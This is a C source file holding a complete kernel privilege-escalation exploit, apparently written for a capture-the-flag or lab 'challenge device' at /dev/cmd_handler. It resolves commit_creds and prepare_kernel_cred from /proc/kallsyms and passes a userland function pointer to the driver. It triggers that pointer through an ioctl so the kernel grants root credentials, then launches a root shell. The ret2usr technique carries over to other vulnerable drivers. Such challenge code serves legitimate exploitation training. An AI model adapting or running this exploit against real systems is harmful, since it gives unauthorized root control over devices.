#include <stdio.h>
#include <fcntl.h>
#include "../../module/CommandHandler.h"
#include "dbg.h"

unsigned long
get_symbol(char *name)
{
        FILE *f;
        unsigned long addr;
        char dummy, sname[512];
        int ret = 0;

        f = fopen("/proc/kallsyms", "r");
        if (!f) {
                return 0;
        }

        while (ret != EOF) {
                ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname)) {
                        printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
                        return addr;
                }
        }

        return 0;
}

typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int run_handler()
{
  commit_creds(prepare_kernel_cred(0));
  return 0;
}

int main(void){

    commit_creds =  (int (*)(unsigned long)) get_symbol("commit_creds");
    prepare_kernel_cred = (unsigned long(*)(unsigned long)) get_symbol("prepare_kernel_cred");

  CommandHandler ch =  {
   .runHandler = &run_handler
  };


  printf("[+] RunHandler at 0x%x\n", (unsigned int) &run_handler);
  int cmd_handler = open("/dev/cmd_handler", O_RDWR);
  check(cmd_handler >= 0, "Error opening challenge device");

  int rc = write(cmd_handler, &ch, sizeof(CommandHandler));
  check(rc >= 0, "Error writing to challenge device");
  #define RUN_COMMAND_HANDLER 0x1337

  rc = ioctl(cmd_handler, RUN_COMMAND_HANDLER, NULL);
  check(rc != -1, "IOCTL failed");

  printf("uid=%d, euid=%d\n",getuid(), geteuid() );

  if(!getuid())
    execl( "/system/bin/sh", "sh", (char*) NULL);

  return 0;
error:
  return -1;
}
